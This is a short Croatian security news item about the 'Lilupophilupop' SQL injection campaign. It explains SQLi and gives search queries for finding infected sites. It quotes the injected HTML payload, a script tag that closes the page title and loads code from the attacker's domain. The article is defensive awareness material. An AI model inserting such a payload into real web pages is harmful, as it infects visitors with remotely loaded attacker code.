Lilupophilupop inficirao milijun web stranica

SQL injection (SQLi) je napad koji ne koristi neku pojedinačnu ranjivost u softveru, već se oslanja na nedovoljnu provjeru unesenih vrijednosti u web aplikacijama. Na primjer, tamo gdje treba unijeti korisničko ime i zaporku upiše se posebno oblikovan SQL upit. Ako aplikacija ne provjerava unos, napadač može otvoriti račun u bazi, preuzeti web aplikaciju, ili, u najgorem slučaju, preuzeti kontrolu nad operativnim sustavom.

Najnoviji u nizu takvih napada započeo je krajem prošle godine i još traje. Inficirane stranice prepoznaju se po tome što je u HTML kod ubačen poziv skripte s domenom komičnog imena, po kojoj je napad dobio ime:

```
"></title><script src="http://lilupophilupop.com/sl.php"></script>.
```

Inficirane stranice možete pronaći jednostavnom pretragom na Googlu. Na primjer, da biste provjerili da li je vaš web inficiran, u tražilici upišite:

```
site:<vašadomena>.hr <script src="http://lilupophilupop.com/
```

Treba li reći da ćete umjesto <vašadomena> upisati stvarni URL vaše domene?

Ako vas zanima da li su neki siteovi u Hrvatskoj zaraženi, upišite:

```
site:.hr <script src="http://lilupophilupop.com/
```

Isto možete napraviti za ostale vršne domene.

Kad tako otkrijete zaražene stranice, nemojte ih otvarati, da ne biste doživjeli neugodno iznenađenje.

Iako se brojka od milijun zaraženih stranica čini velikom, stručnjaci tvrde da je broj siteova koji su podložni SQLi napadu zapravo neprestano opada, jer se širi svijest o ranjivosti, a s time se i popravljaju propusti u aplikacijama.

Vijesti: Sigurnost [1]

Source URL: https://sysportal.carnet.hr/node/923

Links
[1] https://sysportal.carnet.hr/taxonomy/term/13